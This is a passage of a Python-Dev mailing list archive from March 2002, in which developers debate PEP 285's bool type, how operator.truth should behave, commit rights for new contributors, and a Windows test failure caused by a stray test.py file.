> should be deprecated and should fade away.

I disagree.  *Writing* "True+True-False" etc is weird, but nobody would do
that except to be annoying, and there's nothing weird about identifying
false/true with 0/1.  It's often a useful confusion.

Java disallowed mixing ints with booleans specifically to stop the

    if (x = 1)

flavor of C bug, but Python stops those via a different gimmick.  There's
nothing reprehensible about, e.g.,

    days_in_year = 365 + is_leap(year)

or

    print [("off", "on")[switch] for switch in switch_list]

Ban sensible uses, and people will just keep using integers for their
true/false, on/off, set/clear etc values.



From tim.one@comcast.net  Sun Mar 10 02:41:26 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 21:41:26 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <006b01c1c7b9$2dd649a0$0500a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEAPODAA.tim.one@comcast.net>

[David Abrahams]
> This rubs my expectations the right way. Does it foreshadow the
> introduction of boolean operators (e.g. &, |, &&, ||)?

Python already has & | ^, and Guido's PEP already specifies that bools
overload them to map bool X bool -> bool.



From guido@python.org  Sun Mar 10 02:54:07 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 09 Mar 2002 21:54:07 -0500
Subject: [Python-Dev] Two developer candidates
In-Reply-To: Your message of "09 Mar 2002 23:28:09 +0100."
 <m33cz99y12.fsf@mira.informatik.hu-berlin.de>
References: <15498.3622.740770.219249@12-248-41-177.client.attbi.com> <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
 <m33cz99y12.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203100254.g2A2s7012893@pcp742651pcs.reston01.va.comcast.net>

[MvL]
> I think *anybody* should submit patches to SF first unless you are
> 100% sure that the patch fixes the problem in an undebatable way, and
> perhaps unless it is you.
> 
> Being able to say "this is fine, please check it in (replacing the C++
> style comment with a C style comment)" already helps reducing the load
> on the reviewer.
> 
> Unless the new contributors are very careful, I'm sure they will break
> the CVS sooner or later. Unless this happens a week before the 2.3
> release, I have no problem with that.

I think I see consensus to give the new folks checkin permission right
away, but encourage them to submit their code to the SF patch manager
first until they've got the hang of it.

Skip, can you tell them this?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Mar 10 03:14:29 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 09 Mar 2002 22:14:29 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 09 Mar 2002 18:44:02 +0100."
 <3C8A49E2.32FC5BBC@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net> <3C89F479.9D79F5E3@lemburg.com> <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net>
 <3C8A49E2.32FC5BBC@lemburg.com>
Message-ID: <200203100314.g2A3ETv13013@pcp742651pcs.reston01.va.comcast.net>

> You started this game and asked for these many arguments :-)

OK, I've played enough. :-)

> My only objection is overriding the __str__ method. Everything
> else is just fine.

Good.

> You don't have a boolean type in the sense of algebra, but we 
> can't change that due to Python's history and a true algebraic 
> boolean type can easily be written as extension, so it doesn't
> worry me much.

Agreed.  There's only so much we can do without applying the time
machine to 12 years of code developed by 100,000s of people.

> Hmm, perhaps you should name the type "truth" or "truthvalue" 
> rather than boolean.

Yuck.  It's called bool (or Boolean) everywhere else, even when the
semantics are defined to be just different names for 0 and 1.  I don't
like to innovate here.

> Could be... I don't like it when things are broken on purpose
> just to have an interactive session return "nice" output. I also
> don't like scanning tons of code to find the few instances
> where this change breaks application interop.
> 
> There must be other ways to satisfy your requirements and
> mine.

We'll see.  I'm flexible.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Sun Mar 10 05:25:32 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 9 Mar 2002 23:25:32 -0600
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEAOODAA.tim.one@comcast.net>
References: <15498.42693.132488.147302@12-248-41-177.client.attbi.com>
 <LNBBLJKPBEHFEDALKOLCEEAOODAA.tim.one@comcast.net>
Message-ID: <15498.61004.636576.649333@12-248-41-177.client.attbi.com>

    >> I wonder more about the people who are already listed as developers
    >> but never exercise their privilege.

    Tim> So long as they don't get in the way, I don't mind.  It's *silly*
    Tim> to keep inactive developers on the list, but until someone hacks
    Tim> the code base from an account they've forgotten they had, I don't
    Tim> think it's doing any real harm.

I was thinking more along the lines of someone seeing a bug and thinking,
"this is really John Doe's specialty - i'll assign it to him", and then
having the bug languish for ages.  

Skip


From skip@pobox.com  Sun Mar 10 05:26:53 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 9 Mar 2002 23:26:53 -0600
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <200203100254.g2A2s7012893@pcp742651pcs.reston01.va.comcast.net>
References: <15498.3622.740770.219249@12-248-41-177.client.attbi.com>
 <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>
 <m33cz99y12.fsf@mira.informatik.hu-berlin.de>
 <200203100254.g2A2s7012893@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15498.61085.452842.612995@12-248-41-177.client.attbi.com>

    Guido> I think I see consensus to give the new folks checkin permission
    Guido> right away, but encourage them to submit their code to the SF
    Guido> patch manager first until they've got the hang of it.

    Guido> Skip, can you tell them this?

Will do.

Skip


From guido@python.org  Sun Mar 10 05:53:34 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 00:53:34 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 09 Mar 2002 22:14:29 EST."
 <200203100314.g2A3ETv13013@pcp742651pcs.reston01.va.comcast.net>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net> <3C89F479.9D79F5E3@lemburg.com> <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net> <3C8A49E2.32FC5BBC@lemburg.com>
 <200203100314.g2A3ETv13013@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203100553.g2A5rYj18732@pcp742651pcs.reston01.va.comcast.net>

I've spent an evening hacking.  There's now an experimental
implementation of the PEP on SourceForge:

http://sourceforge.net/tracker/?func=detail&atid=305470&aid=528022&group_id=5470

It including a unittest file, test_bool.py, which checks the promises
made in the PEP, and a little bit of documentation.  (Unfortunately,
because much about new-style classes in 2.2 is not yet documented,
documenting bool as a subclass of int sticks out like a sore
thumb. :-)

With this, about 12 tests fail for me (on Linux); I'll look into these
later.  They appear shallow (mostly doctests dying on True or False
where 1 or 0 was expected).

Note: this patch does not mean that the PEP is accepted -- it just
means that a sample implementation exists in case someone wants to
explore the effects of the PEP on their code.

It should be easy for example to create a variant that makes
str(False) == "0" rather than "False"; if I do that, 4 more test
succeed.  Changing "False" into "false" would be slightly more work,
because it turns out that the names of the truth values occurs
frequently in doc strings (and I updated all the ones I could find
that were affected).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Sun Mar 10 06:28:03 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 01:28:03 -0500
Subject: [Python-Dev] Weird new test failures:  import test.XYZ failing
Message-ID: <LNBBLJKPBEHFEDALKOLCIEBHODAA.tim.one@comcast.net>

I'm seeing three seemingly unrelated failures on Windows, seemingly
unrelated to each other or to anything that's been checked in since the last
time the tests passed.  Anyone else?  I blew away my intermediate files and
rebuilt Python from scratch without visible change; debug-mode builds act
the same too; only test_pyclbr.py was changed recently, but in a way that
doesn't relate to the failure mode.

Hmm -- but every one of them *is* trying to import something with a name of
the form "test.XYZ".  Ring a bell to anyone?


C:\Code\python\PCbuild>python ../lib/test/test_pyclbr.py
test_easy (__main__.PyclbrTest) ... ok
test_others (__main__.PyclbrTest) ... ERROR

======================================================================
ERROR: test_others (__main__.PyclbrTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "../lib/test/test_pyclbr.py", line 153, in test_others
    module=sys.modules[__name__])
  File "../lib/test/test_pyclbr.py", line 60, in checkModule
    dict = pyclbr.readmodule_ex(moduleName)
  File "C:\CODE\PYTHON\lib\pyclbr.py", line 171, in readmodule_ex
    child = readmodule_ex(submodule, parent['__path__'], 1)
KeyError: __path__

----------------------------------------------------------------------
Ran 2 tests in 2.090s

FAILED (errors=1)
Traceback (most recent call last):
  File "../lib/test/test_pyclbr.py", line 167, in ?
    test_main()
  File "../lib/test/test_pyclbr.py", line 163, in test_main
    run_unittest(PyclbrTest)
  File "../lib/test\test_support.py", line 190, in run_unittest
    run_suite(unittest.makeSuite(testclass), testclass)
  File "../lib/test\test_support.py", line 185, in run_suite
    raise TestFailed(err)
test_support.TestFailed: Traceback (most recent call last):
  File "../lib/test/test_pyclbr.py", line 153, in test_others
    module=sys.modules[__name__])
  File "../lib/test/test_pyclbr.py", line 60, in checkModule
    dict = pyclbr.readmodule_ex(moduleName)
  File "C:\CODE\PYTHON\lib\pyclbr.py", line 171, in readmodule_ex
    child = readmodule_ex(submodule, parent['__path__'], 1)
KeyError: __path__

The full line there is

        cm('test.test_pyclbr',
           module=sys.modules[__name__])


C:\Code\python\PCbuild>python ../lib/test/test_descrtut.py
Traceback (most recent call last):
  File "../lib/test/test_descrtut.py", line 501, in ?
    test_main(1)
  File "../lib/test/test_descrtut.py", line 496, in test_main
    import test_support, test.test_descrtut
ImportError: No module named test_descrtut

An obvious attempt to import test.test_descrtut.




C:\Code\python\PCbuild>python ../lib/test/test_charmapcodec.py
Traceback (most recent call last):
  File "../lib/test/test_charmapcodec.py", line 21, in ?
    check(unicode('abc', codecname), u'abc')
LookupError: unknown encoding

At line 21, codecname is

codecname = 'test.testcodec'



From tim.one@comcast.net  Sun Mar 10 07:20:07 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 02:20:07 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <024d01c1c7b1$68dae7c0$6d94fea9@newmexico>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEBLODAA.tim.one@comcast.net>

[Samuele Pedroni]
>> And will improve doc tests doc readability <wink>.

[Samuele Pedroni]
> Oops that should have been
>
>> And will improve doctest test docstrings readability <wink>.
>
> or doc tests readability <wink>.

I don't think David uses doctest in that way -- to my surprise, *most*
doctest users don't seem to write documentation at all <wink>.

In the core it doesn't matter:  the libraries for a release ship with that
release, and only need to work with that release.  So s/1/True/ etc is fine
there.  I don't mind changing stuff like that, and to the contrary think
it's valuable to get kicked in the teeth with that output *is* changing with
a new release (indeed, automatically catching changes that ordinarily never
get caught is one of doctest's primary goals).  I think changing stuff like
that irritates Guido, though, because he wants to pretend that users don't
care what Python displays from release to release<0.9 wink>.



From tim.one@comcast.net  Sun Mar 10 07:30:48 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 02:30:48 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <02b001c1c7b3$cc786440$6d94fea9@newmexico>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEBMODAA.tim.one@comcast.net>

[Samuele Pedroni]
> Btw given that probably operator.truth() will
> become a synonym of bool() the "# or" comment
> does not apply.

I don't see anything about changing operator.truth() in Guido's PEP, and
would be surprised if I did:  it's been the documented purpose of that
function to return 0 or 1 since 1996, and there's no apparent reason to
change it.  If you want a similar function to return True or False instead,
well, that's what the new bool() would do, and TOOWTDI.

> Tim, should we start to be worried about the problems you have to get
> those things right or are you just in very-low-concetration mode?

I'm in no-concentration mode, and, yes, you should pray for me before going
to sleep, upon waking, before meals, and once for each tooth that gets
brushed.  I'll let you know whether it helps!  Thanks in advance.



From tim.one@comcast.net  Sun Mar 10 07:35:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 02:35:45 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEBMODAA.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEBMODAA.tim.one@comcast.net>

[Tim]
> I don't see anything about changing operator.truth() in Guido's PEP, and
> would be surprised if I did:  it's been the documented purpose of that
> function to return 0 or 1 since 1996, and there's no apparent reason to
> change it.  If you want a similar function to return True or False
> instead, well, that's what the new bool() would do, and TOOWTDI.

Although I see Guido's patch *does* change operator.truth in this way.  I
don't think it should.



From tim.one@comcast.net  Sun Mar 10 07:44:52 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 02:44:52 -0500
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <15498.61004.636576.649333@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEBNODAA.tim.one@comcast.net>

[Skip Montanaro]
> I was thinking more along the lines of someone seeing a bug and
> thinking, "this is really John Doe's specialty - i'll assign it to
> him", and then having the bug languish for ages.

Well, on that basis nobody would have commit privs.  That is, I've pretty
much given up on assigning bugs to anyone, because they languish anyway, and
better to have them unassigned than to make it look like someone specific is
actually going to do something about them.  Alas, for the most part,
developers don't unassign themselves either.



From tim.one@comcast.net  Sun Mar 10 08:39:57 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 03:39:57 -0500
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
In-Reply-To: <20020308154133.GB1276@gerg.ca>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEBPODAA.tim.one@comcast.net>

[Greg Ward]
> ...
> -1 on using a file mode character that conflicts with existing
> conventions (eg. if "t" really is already used on Windows, find
> something else).

"t" is used on Windows, but not normally.  Whether MS stdio *defaults* to
text mode (as the C std requires) or binary mode can be overridden at link
time (linking in binmode.obj changes it) or run time (via assigning to the
system extern _fmode), and if you do that then you can't get text mode at
all without an explicit "t".  So that's why it's there.  It's not an issue
for Python the way we build and use it, but could be an issue for a Windows
app embedding Python.  Don't look at me <wink>.



From martin@v.loewis.de  Sun Mar 10 09:57:55 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 10 Mar 2002 10:57:55 +0100
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <15498.61004.636576.649333@12-248-41-177.client.attbi.com>
References: <15498.42693.132488.147302@12-248-41-177.client.attbi.com>
 <LNBBLJKPBEHFEDALKOLCEEAOODAA.tim.one@comcast.net>
 <15498.61004.636576.649333@12-248-41-177.client.attbi.com>
Message-ID: <m3it843fto.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> I was thinking more along the lines of someone seeing a bug and thinking,
> "this is really John Doe's specialty - i'll assign it to him", and then
> having the bug languish for ages.  

I think nobody would object if somebody goes through the bug database
and unassigns any bug where the assignee never commented on, atleast
for those bugs that are older than 6 months or some such. Could be
even performed automatically.

Regards,
Martin


From martin@v.loewis.de  Sun Mar 10 10:03:21 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 10 Mar 2002 11:03:21 +0100
Subject: [Python-Dev] multiple recursion limit bugs
In-Reply-To: <15498.47438.578080.778224@12-248-41-177.client.attbi.com>
References: <15498.47438.578080.778224@12-248-41-177.client.attbi.com>
Message-ID: <m3elis3fkm.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> I recently added an example that demonstrates the problem, but I think the
> main issue is that the limitation needs to be better documented.  We can
> then close most/all of these bug reports as "not a bug" or "known
> implementation limitation".  Does this seem like the right approach?

I think is quite hard to describe the precise limitation. AFAICT, you
can't easily tell in advance, from just looking at the expression,
whether it suffers from the limitation and what kinds of input will
cause the exception.

Regards,
Martin



From tim.one@comcast.net  Sun Mar 10 10:09:47 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 05:09:47 -0500
Subject: [Python-Dev] Weird new test failures:  import test.XYZ failing
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEBHODAA.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEECCODAA.tim.one@comcast.net>

[Tim'
> I'm seeing three seemingly unrelated failures on Windows ...
> but every one of them *is* trying to import something with a name of
> the form "test.XYZ".  Ring a bell to anyone?

Well, you've all failed me again <wink>.

This turned out to be pilot error:  I was running from my build directory,
and it turned out I had a "test.py" file in there.  So any sort of "import
test.whatever" picked up that first.  I have no idea where it came from, and
staring at the contents didn't help because it also turned out it was empty
(0 bytes).

Removing test.py didn't help either.  That's when I discovered test.pyc.
The good news is that I remembered to delete test.pyo too before wasting
another hour <0.9 wink>.

some-days-suck-ly y'rs  - tim



From pedroni@inf.ethz.ch  Sun Mar 10 12:22:10 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 13:22:10 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <LNBBLJKPBEHFEDALKOLCEEBMODAA.tim.one@comcast.net>
Message-ID: <003501c1c82e$4ec3f340$6d94fea9@newmexico>

> > Tim, should we start to be worried about the problems you have to get
> > those things right or are you just in very-low-concetration mode?
> 
> I'm in no-concentration mode, and, yes, you should pray for me before going
> to sleep, upon waking, before meals, and once for each tooth that gets
> brushed.  I'll let you know whether it helps!  Thanks in advance.
> 

You're welcome. I'll do each time I pray for me (seems a more reasonable
approach <wink>). I know you can care for yourself.
 Anyway it was not meant in such a personal sense,
it was more about how much bot-friendly (and user-friendly in general)
reasoning on the consequences of the change is <wink>.

>[Tim]
>> I don't see anything about changing operator.truth() in Guido's PEP, and
>> would be surprised if I did:  it's been the documented purpose of that
>> function to return 0 or 1 since 1996, and there's no apparent reason to
>> change it.  If you want a similar function to return True or False
>> instead, well, that's what the new bool() would do, and TOOWTDI.
>
>Although I see Guido's patch *does* change operator.truth in this way.  I
>don't think it should.

Two people, different expectations.  Probably Guido should reason
explicitly about this and document the outcome in the PEP.

regards.



From pedroni@inf.ethz.ch  Sun Mar 10 12:31:31 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 13:31:31 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net> <3C89F479.9D79F5E3@lemburg.com> <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net> <3C8A49E2.32FC5BBC@lemburg.com>             <200203100314.g2A3ETv13013@pcp742651pcs.reston01.va.comcast.net>  <200203100553.g2A5rYj18732@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <003801c1c82f$82c43780$6d94fea9@newmexico>

[GvR]
> I've spent an evening hacking.  There's now an experimental
> implementation of the PEP on SourceForge:
>
>
http://sourceforge.net/tracker/?func=detail&atid=305470&aid=528022&group_id=547
0
>
> It including a unittest file, test_bool.py, which checks the promises
> made in the PEP, and a little bit of documentation.  (Unfortunately,
> because much about new-style classes in 2.2 is not yet documented,
> documenting bool as a subclass of int sticks out like a sore
> thumb. :-)
>

(This is a serious question) How do you imagine bool
presented to (non-programmer) newbies.

Not presented. Presented disjunct from int at the beginning.
Using the notion of subtyping/subclassing.
Operationally:
     True == 1
     False == 0
     etc .

Thanks. Samuele Pedroni.



From skip@mojam.com  Sun Mar 10 13:00:02 2002
From: skip@mojam.com (Skip Montanaro)
Date: Sun, 10 Mar 2002 07:00:02 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200203101300.g2AD02K23869@12-248-41-177.client.attbi.com>


From David Abrahams" <david.abrahams@rcn.com  Sun Mar 10 13:37:04 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sun, 10 Mar 2002 08:37:04 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <LNBBLJKPBEHFEDALKOLCEEBLODAA.tim.one@comcast.net>
Message-ID: <017b01c1c838$b58ec140$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>
To: "Samuele Pedroni" <pedroni@inf.ethz.ch>
Cc: <python-dev@python.org>
Sent: Sunday, March 10, 2002 2:20 AM
Subject: RE: [Python-Dev] For review: PEP 285: Adding a bool type


> [Samuele Pedroni]
> >> And will improve doc tests doc readability <wink>.
>
> [Samuele Pedroni]
> > Oops that should have been
> >
> >> And will improve doctest test docstrings readability <wink>.
> >
> > or doc tests readability <wink>.
>
> I don't think David uses doctest in that way -- to my surprise, *most*
> doctest users don't seem to write documentation at all <wink>.

s/docteset users/programmers/ ?

I actually do write lots of documentation, and often use small
doctest-compatible illustrations, but the problem with that is usually
that a really comprehensive test is too big to make a readable comment.
These days I don't get to write too much actual Python, so mostly I use
doctest to exercise and verify extension modules built with
Boost.Python.

-Dave



From guido@python.org  Sun Mar 10 14:01:29 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 09:01:29 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sun, 10 Mar 2002 02:30:48 EST."
 <LNBBLJKPBEHFEDALKOLCEEBMODAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEBMODAA.tim.one@comcast.net>
Message-ID: <200203101401.g2AE1TX26744@pcp742651pcs.reston01.va.comcast.net>

> I don't see anything about changing operator.truth() in Guido's PEP,
> and would be surprised if I did: it's been the documented purpose of
> that function to return 0 or 1 since 1996, and there's no apparent
> reason to change it.  If you want a similar function to return True
> or False instead, well, that's what the new bool() would do, and
> TOOWTDI.

The patch I just submitted change the operator module so that all
"predicates" are changed from returning 0 or 1 to returning False or
True.  This includes operator.truth().

IMO, truth() was intended to "normalize" a Boolean result into two
values that clearly stand for truth and falsehood; I don't see a
problem with the change.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Sun Mar 10 14:06:47 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Sun, 10 Mar 2002 09:06:47 -0500 (EST)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203100553.g2A5rYj18732@pcp742651pcs.reston01.va.comcast.net>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C890B2F.1486C05A@activestate.com>
 <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
 <3C8912A7.A913A4FE@lemburg.com>
 <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net>
 <3C89F479.9D79F5E3@lemburg.com>
 <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net>
 <3C8A49E2.32FC5BBC@lemburg.com>
 <200203100314.g2A3ETv13013@pcp742651pcs.reston01.va.comcast.net>
 <200203100553.g2A5rYj18732@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15499.26743.495071.82316@gargle.gargle.HOWL>

Guido van Rossum writes:
 > (Unfortunately, because much about new-style classes in 2.2 is not
 > yet documented, documenting bool as a subclass of int sticks out
 > like a sore thumb. :-)

So?  Document it.  That will lead to questions to python-docs and bug
reports on SourceForge, which lead to improvements in the docs.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From guido@python.org  Sun Mar 10 14:43:11 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 09:43:11 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sun, 10 Mar 2002 13:31:31 +0100."
 <003801c1c82f$82c43780$6d94fea9@newmexico>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net> <3C89F479.9D79F5E3@lemburg.com> <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net> <3C8A49E2.32FC5BBC@lemburg.com> <200203100314.g2A3ETv13013@pcp742651pcs.reston01.va.comcast.net> <200203100553.g2A5rYj18732@pcp742651pcs.reston01.va.comcast.net>
 <003801c1c82f$82c43780$6d94fea9@newmexico>
Message-ID: <200203101443.g2AEhBC29795@pcp742651pcs.reston01.va.comcast.net>

> (This is a serious question) How do you imagine bool
> presented to (non-programmer) newbies.
> 
> Not presented. Presented disjunct from int at the beginning.
> Using the notion of subtyping/subclassing.
> Operationally:
>      True == 1
>      False == 0
>      etc .

Good point.  The tutorial needs to be updated.  I propose not to make
a big deal from it, but to mention that (a) you get bools from most
propositions, (b) False==0, True==1, (c) most other objects are also
usable as Boolean values, e.g. "" is false, "x" is true.  Needs to
distinguish clearly between False and True (the specific bool values)
and more general falsehood/truth.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From arigo@ulb.ac.be  Sat Mar  9 18:18:00 2002
From: arigo@ulb.ac.be (Armin Rigo)
Date: Sat, 9 Mar 2002 19:18:00 +0100
Subject: [Python-Dev] Yet another (?) for-with-indices
Message-ID: <000901c1c83b$990bd640$9ec1043e@oemcomputer>

Hello everybody,

Here is yet another proposal (or did I miss something similar?) about the
for-with-explicit-indices syntax problems. Now that Python has iterators,
they could be more explicitely used by user code. More specifically, as it
seems we often loop over sequence elements and occasionnally need an
explicit index, I suggest adding a 'count' attribute to sequence iterators
that returns the number of items returned so far, that is, the index of the
*next* item (as stored in the iterator in C):

    it = iter(lst)
    for x in it:
        if need_the_index_of_x:
            index = it.count-1

For example, to decrement all positive integers in a list, modifying it
in-place:

    it = iter(lst)
    for x in it:
        if x>0:
            lst[it.count-1] -= 1

No syntax sugar is required. All the trick is in explicitely naming the
iterator object used by the loop. This idea could maybe be extended to make
the attribute writeable. For example, inside a loop:

    it.count += 1    # skip next element
    it.count -= 1    # process the same element again
    it.count = 0    # full rewind
    it.count -= 1; del lst[it.count]    # remove bad item from list


Thanks,

Armin.



From fdrake@acm.org  Sun Mar 10 14:58:06 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Sun, 10 Mar 2002 09:58:06 -0500 (EST)
Subject: [Python-Dev] Two developer candidates
In-Reply-To: <m3it843fto.fsf@mira.informatik.hu-berlin.de>
References: <15498.42693.132488.147302@12-248-41-177.client.attbi.com>
 <LNBBLJKPBEHFEDALKOLCEEAOODAA.tim.one@comcast.net>
 <15498.61004.636576.649333@12-248-41-177.client.attbi.com>
 <m3it843fto.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15499.29823.299.296860@gargle.gargle.HOWL>

Martin v. Loewis writes:
 > I think nobody would object if somebody goes through the bug database
 > and unassigns any bug where the assignee never commented on, atleast
 > for those bugs that are older than 6 months or some such. Could be
 > even performed automatically.

Not a bad idea.  It would need to check that the status isn't
"pending", since those are waiting for submitter comment.  We wouldn't
want to unassign a bug assigned to a responsive developer who needs
information from the submitter.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From pedroni@inf.ethz.ch  Sun Mar 10 15:06:19 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 16:06:19 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <02b001c1c7b3$cc786440$6d94fea9@newmexico>
Message-ID: <015b01c1c845$2296eea0$6d94fea9@newmexico>

From: Samuele Pedroni <pedroni@inf.ethz.ch>
> 
> > 
> > > Damn, you're right.  I'll patch doctest to special-case the snot out of
> > > those specific strings <wink>.  In the meantime,
> > > 
> > > def ibool(e):
> > >     return e and 1 or 0
> > >     # or "return operator.truth(e)"
> > > 
> > > will work across all Pythons forever, or back to 1.4 if you use
> > > operator.truth to avoid offending yourself <wink>.
> 
> Btw given that probably operator.truth() will
> become a synonym of bool() the "# or" comment
> does not apply.
> 

Btw, as far as I understand ibool can be spelled just as +

>>> +(1>0)
1

regards, Samuele Pedroni.



From pedroni@inf.ethz.ch  Sun Mar 10 15:11:36 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sun, 10 Mar 2002 16:11:36 +0100
Subject: R: [Python-Dev] For review: PEP 285: Adding a bool type
References: <02b001c1c7b3$cc786440$6d94fea9@newmexico> <015b01c1c845$2296eea0$6d94fea9@newmexico>
Message-ID: <016901c1c845$df632580$6d94fea9@newmexico>

From: Samuele Pedroni <pedroni@inf.ethz.ch>
> From: Samuele Pedroni <pedroni@inf.ethz.ch>
> >
> > >
> > > > Damn, you're right.  I'll patch doctest to special-case the snot out of
> > > > those specific strings <wink>.  In the meantime,
> > > >
> > > > def ibool(e):
> > > >     return e and 1 or 0
> > > >     # or "return operator.truth(e)"
> > > >
> > > > will work across all Pythons forever, or back to 1.4 if you use
> > > > operator.truth to avoid offending yourself <wink>.
> >
> > Btw given that probably operator.truth() will
> > become a synonym of bool() the "# or" comment
> > does not apply.
> >
>
> Btw, as far as I understand ibool can be spelled just as +
>
> >>> +(1>0)
> 1
>

For the specific usage, I mean. Obviously ibool is more general.

regards.



From paul@prescod.net  Sun Mar 10 15:37:33 2002
From: paul@prescod.net (Paul Prescod)
Date: Sun, 10 Mar 2002 07:37:33 -0800
Subject: [Python-Dev] Boolean transition
